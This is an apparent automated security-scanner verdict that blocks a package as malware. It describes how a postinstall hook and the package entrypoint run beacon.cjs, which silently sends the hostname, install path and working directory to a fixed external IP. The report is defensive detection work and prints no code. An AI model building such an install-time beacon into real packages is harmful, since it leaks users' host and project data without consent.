AI Security Review
scanned 2h ago · by lpm-firewall-aiStatic source confirms automatic disclosure of identifying host and project metadata to a fixed external recipient during installation, without installer consent. This supports blocking as an installation-time data exfiltration attack.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or importing index.js.
Impact
The external recipient receives host and project identifiers from the installer or importing application.
Mechanism
beacon.cjs posts the hostname, install path, working directory, and package metadata to a hardcoded address without an affirmative consent check.
Attack narrative
The postinstall hook runs beacon.cjs, which sends host and project identifiers to a fixed external endpoint. The package entrypoint also invokes the same beacon when imported. Source shows no affirmative consent gate for either trigger.
AI rationale
Static source confirms automatic disclosure of identifying host and project metadata to a fixed external recipient during installation, without installer consent. This supports blocking as an installation-time data exfiltration attack.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs beacon.cjs automatically during postinstall.
- beacon.cjs sends a POST to a fixed external IP address.
- The payload includes the machine hostname, install path, and working directory.
- Importing index.js also calls the beacon without an opt-in.
